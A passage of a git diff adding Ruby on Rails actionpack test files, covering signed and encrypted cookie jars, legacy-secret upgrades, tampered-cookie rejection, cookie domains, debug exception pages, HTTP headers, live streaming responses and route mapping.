+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("password")
+ get :set_signed_cookie
+ }
+
+ assert_raise(ArgumentError, "secret".inspect) {
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("secret")
+ get :set_signed_cookie
+ }
+
+ assert_raise(ArgumentError, "12345678901234567890123456789".inspect) {
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("12345678901234567890123456789")
+ get :set_signed_cookie
+ }
+ end
+
+ def test_signed_uses_signed_cookie_jar_if_only_secret_token_is_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = nil
+ get :set_signed_cookie
+ assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
+ end
+
+ def test_signed_uses_signed_cookie_jar_if_only_secret_key_base_is_set
+ @request.env["action_dispatch.secret_token"] = nil
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :set_signed_cookie
+ assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
+ end
+
+ def test_signed_uses_upgrade_legacy_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :set_signed_cookie
+ assert_kind_of ActionDispatch::Cookies::UpgradeLegacySignedCookieJar, cookies.signed
+ end
+
+ def test_signed_or_encrypted_uses_signed_cookie_jar_if_only_secret_token_is_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = nil
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed_or_encrypted
+ end
+
+ def test_signed_or_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
+ @request.env["action_dispatch.secret_token"] = nil
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.signed_or_encrypted
+ end
+
+ def test_signed_or_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.signed_or_encrypted
+ end
+
+ def test_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
+ @request.env["action_dispatch.secret_token"] = nil
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.encrypted
+ end
+
+ def test_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.encrypted
+ end
+
+ def test_legacy_signed_cookie_is_read_and_transparently_upgraded_by_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ @request.headers["Cookie"] = "user_id=45"
+ get :get_signed_cookie
+
+ assert_equal nil, @controller.send(:cookies).signed[:user_id]
+ assert_equal nil, @response.cookies["user_id"]
+ end
+
+ def test_legacy_signed_cookie_is_treated_as_nil_by_encrypted_cookie_jar_if_tampered
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ @request.headers["Cookie"] = "foo=baz"
+ get :get_encrypted_cookie
+
+ assert_equal nil, @controller.send(:cookies).encrypted[:foo]
+ assert_equal nil, @response.cookies["foo"]
+ end
+
+ def test_cookie_with_all_domain_option
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_a_non_standard_tld
+ @request.host = "two.subdomains.nextangle.local"
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_australian_style_tld
+ @request.host = "nextangle.com.au"
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com.au; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_uk_style_tld
+ @request.host = "nextangle.co.uk"
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.co.uk; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_host_with_port
+ @request.host = "nextangle.local:3000"
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_localhost
+ @request.host = "localhost"
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_ipv4_address
+ @request.host = "192.168.1.1"
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_ipv6_address
+ @request.host = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
+ get :set_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; path=/"
+ end
+
+ def test_deleting_cookie_with_all_domain_option
+ request.cookies[:user_name] = 'Joe'
+ get :delete_cookie_with_domain
+ assert_response :success
+ assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+ end
+
+ def test_cookie_with_all_domain_option_and_tld_length
+ get :set_cookie_with_domain_and_tld
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_a_non_standard_tld_and_tld_length
+ @request.host = "two.subdomains.nextangle.local"
+ get :set_cookie_with_domain_and_tld
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+ end
+
+ def test_cookie_with_all_domain_option_using_host_with_port_and_tld_length
+ @request.host = "nextangle.local:3000"
+ get :set_cookie_with_domain_and_tld
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+ end
+
+ def test_deleting_cookie_with_all_domain_option_and_tld_length
+ request.cookies[:user_name] = 'Joe'
+ get :delete_cookie_with_domain_and_tld
+ assert_response :success
+ assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+ end
+
+ def test_cookie_with_several_preset_domains_using_one_of_these_domains
+ @request.host = "example1.com"
+ get :set_cookie_with_domains
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=example1.com; path=/"
+ end
+
+ def test_cookie_with_several_preset_domains_using_other_domain
+ @request.host = "other-domain.com"
+ get :set_cookie_with_domains
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; path=/"
+ end
+
+ def test_cookie_with_several_preset_domains_using_shared_domain
+ @request.host = "example3.com"
+ get :set_cookie_with_domains
+ assert_response :success
+ assert_cookie_header "user_name=rizwanreza; domain=.example3.com; path=/"
+ end
+
+ def test_deletings_cookie_with_several_preset_domains_using_one_of_these_domains
+ @request.host = "example2.com"
+ request.cookies[:user_name] = 'Joe'
+ get :delete_cookie_with_domains
+ assert_response :success
+ assert_cookie_header "user_name=; domain=example2.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+ end
+
+ def test_deletings_cookie_with_several_preset_domains_using_other_domain
+ @request.host = "other-domain.com"
+ request.cookies[:user_name] = 'Joe'
+ get :delete_cookie_with_domains
+ assert_response :success
+ assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+ end
+
+ def test_cookies_hash_is_indifferent_access
+ get :symbol_key
+ assert_equal "david", cookies[:user_name]
+ assert_equal "david", cookies['user_name']
+ get :string_key
+ assert_equal "dhh", cookies[:user_name]
+ assert_equal "dhh", cookies['user_name']
+ end
+
+
+
+ def test_setting_request_cookies_is_indifferent_access
+ cookies.clear
+ cookies[:user_name] = "andrew"
+ get :string_key_mock
+ assert_equal "david", cookies['user_name']
+
+ cookies.clear
+ cookies['user_name'] = "andrew"
+ get :symbol_key_mock
+ assert_equal "david", cookies[:user_name]
+ end
+
+ def test_cookies_retained_across_requests
+ get :symbol_key
+ assert_cookie_header "user_name=david; path=/"
+ assert_equal "david", cookies[:user_name]
+
+ get :noop
+ assert_nil @response.headers["Set-Cookie"]
+ assert_equal "david", cookies[:user_name]
+
+ get :noop
+ assert_nil @response.headers["Set-Cookie"]
+ assert_equal "david", cookies[:user_name]
+ end
+
+ def test_cookies_can_be_cleared
+ get :symbol_key
+ assert_equal "david", cookies[:user_name]
+
+ cookies.clear
+ get :noop
+ assert_nil cookies[:user_name]
+
+ get :symbol_key
+ assert_equal "david", cookies[:user_name]
+ end
+
+ def test_can_set_http_cookie_header
+ @request.env['HTTP_COOKIE'] = 'user_name=david'
+ get :noop
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+
+ get :noop
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+
+ @request.env['HTTP_COOKIE'] = 'user_name=andrew'
+ get :noop
+ assert_equal 'andrew', cookies['user_name']
+ assert_equal 'andrew', cookies[:user_name]
+ end
+
+ def test_can_set_request_cookies
+ @request.cookies['user_name'] = 'david'
+ get :noop
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+
+ get :noop
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+
+ @request.cookies[:user_name] = 'andrew'
+ get :noop
+ assert_equal 'andrew', cookies['user_name']
+ assert_equal 'andrew', cookies[:user_name]
+ end
+
+ def test_cookies_precedence_over_http_cookie
+ @request.env['HTTP_COOKIE'] = 'user_name=andrew'
+ get :authenticate
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+
+ get :noop
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+ end
+
+ def test_cookies_precedence_over_request_cookies
+ @request.cookies['user_name'] = 'andrew'
+ get :authenticate
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+
+ get :noop
+ assert_equal 'david', cookies['user_name']
+ assert_equal 'david', cookies[:user_name]
+ end
+
+ private
+ def assert_cookie_header(expected)
+ header = @response.headers["Set-Cookie"]
+ if header.respond_to?(:to_str)
+ assert_equal expected.split("\n").sort, header.split("\n").sort
+ else
+ assert_equal expected.split("\n"), header
+ end
+ end
+
+ def assert_not_cookie_header(expected)
+ header = @response.headers["Set-Cookie"]
+ if header.respond_to?(:to_str)
+ assert_not_equal expected.split("\n").sort, header.split("\n").sort
+ else
+ assert_not_equal expected.split("\n"), header
+ end
+ end
+end
+
+end
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
new file mode 100644
index 0000000..ff0bacc
--- /dev/null
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -0,0 +1,204 @@
+require 'abstract_unit'
+
+class DebugExceptionsTest < ActionDispatch::IntegrationTest
+
+ class Boomer
+ attr_accessor :closed
+
+ def initialize(detailed = false)
+ @detailed = detailed
+ @closed = false
+ end
+
+ def each
+ end
+
+ def close
+ @closed = true
+ end
+
+ def call(env)
+ env['action_dispatch.show_detailed_exceptions'] = @detailed
+ req = ActionDispatch::Request.new(env)
+ case req.path
+ when "/pass"
+ [404, { "X-Cascade" => "pass" }, self]
+ when "/not_found"
+ raise AbstractController::ActionNotFound
+ when "/runtime_error"
+ raise RuntimeError
+ when "/method_not_allowed"
+ raise ActionController::MethodNotAllowed
+ when "/unknown_http_method"
+ raise ActionController::UnknownHttpMethod
+ when "/not_implemented"
+ raise ActionController::NotImplemented
+ when "/unprocessable_entity"
+ raise ActionController::InvalidAuthenticityToken
+ when "/not_found_original_exception"
+ raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
+ when "/bad_request"
+ raise ActionController::BadRequest
+ when "/missing_keys"
+ raise ActionController::UrlGenerationError, "No route matches"
+ when "/parameter_missing"
+ raise ActionController::ParameterMissing, :missing_param_key
+ else
+ raise "puke!"
+ end
+ end
+ end
+
+ def setup
+ app = ActiveSupport::OrderedOptions.new
+ app.config = ActiveSupport::OrderedOptions.new
+ app.config.assets = ActiveSupport::OrderedOptions.new
+ app.config.assets.prefix = '/sprockets'
+ Rails.stubs(:application).returns(app)
+ end
+
+ RoutesApp = Struct.new(:routes).new(SharedTestRoutes)
+ ProductionApp = ActionDispatch::DebugExceptions.new(Boomer.new(false), RoutesApp)
+ DevelopmentApp = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp)
+
+ test 'skip diagnosis if not showing detailed exceptions' do
+ @app = ProductionApp
+ assert_raise RuntimeError do
+ get "/", {}, {'action_dispatch.show_exceptions' => true}
+ end
+ end
+
+ test 'skip diagnosis if not showing exceptions' do
+ @app = DevelopmentApp
+ assert_raise RuntimeError do
+ get "/", {}, {'action_dispatch.show_exceptions' => false}
+ end
+ end
+
+ test 'raise an exception on cascade pass' do
+ @app = ProductionApp
+ assert_raise ActionController::RoutingError do
+ get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+ end
+ end
+
+ test 'closes the response body on cascade pass' do
+ boomer = Boomer.new(false)
+ @app = ActionDispatch::DebugExceptions.new(boomer)
+ assert_raise ActionController::RoutingError do
+ get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+ end
+ assert boomer.closed, "Expected to close the response body"
+ end
+
+ test 'displays routes in a table when a RoutingError occurs' do
+ @app = DevelopmentApp
+ get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+ routing_table = body[/route_table.*<.table>/m]
+ assert_match '/:controller(/:action)(.:format)', routing_table
+ assert_match ':controller#:action', routing_table
+ assert_no_match '<|>', routing_table, "there should not be escaped html in the output"
+ end
+
+ test "rescue with diagnostics message" do
+ @app = DevelopmentApp
+
+ get "/", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 500
+ assert_match(/puke/, body)
+
+ get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 404
+ assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+ get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_match(/ActionController::MethodNotAllowed/, body)
+
+ get "/unknown_http_method", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_match(/ActionController::UnknownHttpMethod/, body)
+
+ get "/bad_request", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 400
+ assert_match(/ActionController::BadRequest/, body)
+
+ get "/parameter_missing", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 400
+ assert_match(/ActionController::ParameterMissing/, body)
+ end
+
+ test "does not show filtered parameters" do
+ @app = DevelopmentApp
+
+ get "/", {"foo"=>"bar"}, {'action_dispatch.show_exceptions' => true,
+ 'action_dispatch.parameter_filter' => [:foo]}
+ assert_response 500
+ assert_match(""foo"=>"[FILTERED]"", body)
+ end
+
+ test "show registered original exception for wrapped exceptions" do
+ @app = DevelopmentApp
+
+ get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 404
+ assert_match(/AbstractController::ActionNotFound/, body)
+ end
+
+ test "named urls missing keys raise 500 level error" do
+ @app = DevelopmentApp
+
+ get "/missing_keys", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 500
+
+ assert_match(/ActionController::UrlGenerationError/, body)
+ end
+
+ test "show the controller name in the diagnostics template when controller name is present" do
+ @app = DevelopmentApp
+ get("/runtime_error", {}, {
+ 'action_dispatch.show_exceptions' => true,
+ 'action_dispatch.request.parameters' => {
+ 'action' => 'show',
+ 'id' => 'unknown',
+ 'controller' => 'featured_tile'
+ }
+ })
+ assert_response 500
+ assert_match(/RuntimeError\n\s+in FeaturedTileController/, body)
+ end
+
+ test "sets the HTTP charset parameter" do
+ @app = DevelopmentApp
+
+ get "/", {}, {'action_dispatch.show_exceptions' => true}
+ assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+ end
+
+ test 'uses logger from env' do
+ @app = DevelopmentApp
+ output = StringIO.new
+ get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => Logger.new(output)}
+ assert_match(/puke/, output.rewind && output.read)
+ end
+
+ test 'uses backtrace cleaner from env' do
+ @app = DevelopmentApp
+ cleaner = stub(:clean => ['passed backtrace cleaner'])
+ get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.backtrace_cleaner' => cleaner}
+ assert_match(/passed backtrace cleaner/, body)
+ end
+
+ test 'logs exception backtrace when all lines silenced' do
+ output = StringIO.new
+ backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
+ backtrace_cleaner.add_silencer { true }
+
+ env = {'action_dispatch.show_exceptions' => true,
+ 'action_dispatch.logger' => Logger.new(output),
+ 'action_dispatch.backtrace_cleaner' => backtrace_cleaner}
+
+ get "/", {}, env
+ assert_operator((output.rewind && output.read).lines.count, :>, 10)
+ end
+end
diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb
new file mode 100644
index 0000000..9e37b96
--- /dev/null
+++ b/actionpack/test/dispatch/header_test.rb
@@ -0,0 +1,137 @@
+require "abstract_unit"
+
+class HeaderTest < ActiveSupport::TestCase
+ setup do
+ @headers = ActionDispatch::Http::Headers.new(
+ "CONTENT_TYPE" => "text/plain",
+ "HTTP_REFERER" => "/some/page"
+ )
+ end
+
+ test "#new does not normalize the data" do
+ headers = ActionDispatch::Http::Headers.new(
+ "Content-Type" => "application/json",
+ "HTTP_REFERER" => "/some/page",
+ "Host" => "http://test.com")
+
+ assert_equal({"Content-Type" => "application/json",
+ "HTTP_REFERER" => "/some/page",
+ "Host" => "http://test.com"}, headers.env)
+ end
+
+ test "#env returns the headers as env variables" do
+ assert_equal({"CONTENT_TYPE" => "text/plain",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "#each iterates through the env variables" do
+ headers = []
+ @headers.each { |pair| headers << pair }
+ assert_equal [["CONTENT_TYPE", "text/plain"],
+ ["HTTP_REFERER", "/some/page"]], headers
+ end
+
+ test "set new headers" do
+ @headers["Host"] = "127.0.0.1"
+
+ assert_equal "127.0.0.1", @headers["Host"]
+ assert_equal "127.0.0.1", @headers["HTTP_HOST"]
+ end
+
+ test "headers can contain numbers" do
+ @headers["Content-MD5"] = "Q2hlY2sgSW50ZWdyaXR5IQ=="
+
+ assert_equal "Q2hlY2sgSW50ZWdyaXR5IQ==", @headers["Content-MD5"]
+ assert_equal "Q2hlY2sgSW50ZWdyaXR5IQ==", @headers["HTTP_CONTENT_MD5"]
+ end
+
+ test "set new env variables" do
+ @headers["HTTP_HOST"] = "127.0.0.1"
+
+ assert_equal "127.0.0.1", @headers["Host"]
+ assert_equal "127.0.0.1", @headers["HTTP_HOST"]
+ end
+
+ test "key?" do
+ assert @headers.key?("CONTENT_TYPE")
+ assert @headers.include?("CONTENT_TYPE")
+ end
+
+ test "fetch with block" do
+ assert_equal "omg", @headers.fetch("notthere") { "omg" }
+ end
+
+ test "accessing http header" do
+ assert_equal "/some/page", @headers["Referer"]
+ assert_equal "/some/page", @headers["referer"]
+ assert_equal "/some/page", @headers["HTTP_REFERER"]
+ end
+
+ test "accessing special header" do
+ assert_equal "text/plain", @headers["Content-Type"]
+ assert_equal "text/plain", @headers["content-type"]
+ assert_equal "text/plain", @headers["CONTENT_TYPE"]
+ end
+
+ test "fetch" do
+ assert_equal "text/plain", @headers.fetch("content-type", nil)
+ assert_equal "not found", @headers.fetch("not-found", "not found")
+ end
+
+ test "#merge! headers with mutation" do
+ @headers.merge!("Host" => "http://example.test",
+ "Content-Type" => "text/html")
+ assert_equal({"HTTP_HOST" => "http://example.test",
+ "CONTENT_TYPE" => "text/html",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "#merge! env with mutation" do
+ @headers.merge!("HTTP_HOST" => "http://first.com",
+ "CONTENT_TYPE" => "text/html")
+ assert_equal({"HTTP_HOST" => "http://first.com",
+ "CONTENT_TYPE" => "text/html",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "merge without mutation" do
+ combined = @headers.merge("HTTP_HOST" => "http://example.com",
+ "CONTENT_TYPE" => "text/html")
+ assert_equal({"HTTP_HOST" => "http://example.com",
+ "CONTENT_TYPE" => "text/html",
+ "HTTP_REFERER" => "/some/page"}, combined.env)
+
+ assert_equal({"CONTENT_TYPE" => "text/plain",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "env variables with . are not modified" do
+ headers = ActionDispatch::Http::Headers.new
+ headers.merge! "rack.input" => "",
+ "rack.request.cookie_hash" => "",
+ "action_dispatch.logger" => ""
+
+ assert_equal(["action_dispatch.logger",
+ "rack.input",
+ "rack.request.cookie_hash"], headers.env.keys.sort)
+ end
+
+ test "symbols are treated as strings" do
+ headers = ActionDispatch::Http::Headers.new
+ headers.merge!(:SERVER_NAME => "example.com",
+ "HTTP_REFERER" => "/",
+ :Host => "test.com")
+ assert_equal "example.com", headers["SERVER_NAME"]
+ assert_equal "/", headers[:HTTP_REFERER]
+ assert_equal "test.com", headers["HTTP_HOST"]
+ end
+
+ test "headers directly modifies the passed environment" do
+ env = {"HTTP_REFERER" => "/"}
+ headers = ActionDispatch::Http::Headers.new(env)
+ headers['Referer'] = "http://example.com/"
+ headers.merge! "CONTENT_TYPE" => "text/plain"
+ assert_equal({"HTTP_REFERER"=>"http://example.com/",
+ "CONTENT_TYPE"=>"text/plain"}, env)
+ end
+end
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
new file mode 100644
index 0000000..e0cfb73
--- /dev/null
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -0,0 +1,83 @@
+require 'abstract_unit'
+require 'active_support/concurrency/latch'
+
+module ActionController
+ module Live
+ class ResponseTest < ActiveSupport::TestCase
+ def setup
+ @response = Live::Response.new
+ end
+
+ def test_header_merge
+ header = @response.header.merge('Foo' => 'Bar')
+ assert_kind_of(ActionController::Live::Response::Header, header)
+ assert_not_equal header, @response.header
+ end
+
+ def test_initialize_with_default_headers
+ r = Class.new(Live::Response) do
+ def self.default_headers
+ { 'omg' => 'g' }
+ end
+ end
+
+ header = r.new.header
+ assert_kind_of(ActionController::Live::Response::Header, header)
+ end
+
+ def test_parallel
+ latch = ActiveSupport::Concurrency::Latch.new
+
+ t = Thread.new {
+ @response.stream.write 'foo'
+ latch.await
+ @response.stream.close
+ }
+
+ @response.each do |part|
+ assert_equal 'foo', part
+ latch.release
+ end
+ assert t.join
+ end
+
+ def test_setting_body_populates_buffer
+ @response.body = 'omg'
+ @response.close
+ assert_equal ['omg'], @response.body_parts
+ end
+
+ def test_cache_control_is_set
+ @response.stream.write 'omg'
+ assert_equal 'no-cache', @response.headers['Cache-Control']
+ end
+
+ def test_content_length_is_removed
+ @response.headers['Content-Length'] = "1234"
+ @response.stream.write 'omg'
+ assert_nil @response.headers['Content-Length']
+ end
+
+ def test_headers_cannot_be_written_after_write
+ @response.stream.write 'omg'
+
+ assert @response.headers.frozen?
+ e = assert_raises(ActionDispatch::IllegalStateError) do
+ @response.headers['Content-Length'] = "zomg"
+ end
+
+ assert_equal 'header already sent', e.message
+ end
+
+ def test_headers_cannot_be_written_after_close
+ @response.stream.close
+
+ assert @response.headers.frozen?
+ e = assert_raises(ActionDispatch::IllegalStateError) do
+ @response.headers['Content-Length'] = "zomg"
+ end
+ assert_equal 'header already sent', e.message
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb
new file mode 100644
index 0000000..58457b0
--- /dev/null
+++ b/actionpack/test/dispatch/mapper_test.rb
@@ -0,0 +1,112 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Routing
+ class MapperTest < ActiveSupport::TestCase
+ class FakeSet
+ attr_reader :routes
+ alias :set :routes
+
+ def initialize
+ @routes = []
+ end
+
+ def resources_path_names
+ {}
+ end
+
+ def request_class
+ ActionDispatch::Request
+ end
+
+ def add_route(*args)
+ routes << args
+ end
+
+ def conditions
+ routes.map { |x| x[1] }
+ end
+
+ def requirements
+ routes.map { |x| x[2] }
+ end
+ end
+
+ def test_initialize
+ Mapper.new FakeSet.new
+ end
+
+ def test_mapping_requirements
+ options = { :controller => 'foo', :action => 'bar', :via => :get }
+ m = Mapper::Mapping.new FakeSet.new, {}, '/store/:name(*rest)', options
+ _, _, requirements, _ = m.to_route
+ assert_equal(/.+?/, requirements[:rest])
+ end
+
+ def test_map_slash
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
+ mapper.get '/', :to => 'posts#index', :as => :main
+ assert_equal '/', fakeset.conditions.first[:path_info]
+ end
+
+ def test_map_more_slashes
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
+
+ # FIXME: is this a desired behavior?
+ mapper.get '/one/two/', :to => 'posts#index', :as => :main
+ assert_equal '/one/two(.:format)', fakeset.conditions.first[:path_info]
+ end
+
+ def test_map_wildcard
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
+ mapper.get '/*path', :to => 'pages#show'
+ assert_equal '/*path(.:format)', fakeset.conditions.first[:path_info]
+ assert_equal(/.+?/, fakeset.requirements.first[:path])
+ end
+
+ def test_map_wildcard_with_other_element
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
+ mapper.get '/*path/foo/:bar', :to => 'pages#show'
+ assert_equal '/*path/foo/:bar(.:format)', fakeset.conditions.first[:path_info]
+ assert_nil fakeset.requirements.first[:path]
+ end
+
+ def test_map_wildcard_with_multiple_wildcard
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
+ mapper.get '/*foo/*bar', :to => 'pages#show'
+ assert_equal '/*foo/*bar(.:format)', fakeset.conditions.first[:path_info]
+ assert_nil fakeset.requirements.first[:foo]
+ assert_equal(/.+?/, fakeset.requirements.first[:bar])
+ end
+
+ def test_map_wildcard_with_format_false
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
+ mapper.get '/*path', :to => 'pages#show', :format => false
+ assert_equal '/*path', fakeset.conditions.first[:path_info]
+ assert_nil fakeset.requirements.first[:path]
+ end
+
+ def test_map_wildcard_with_format_true
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
+ mapper.get '/*path', :to => 'pages#show', :format => true
+ assert_equal '/*path.:format', fakeset.conditions.first[:path_info]
+ end
+
+ def test_raising_helpful_error_on_invalid_arguments
+ fakeset = FakeSet.new
+ mapper = Mapper.new fakeset
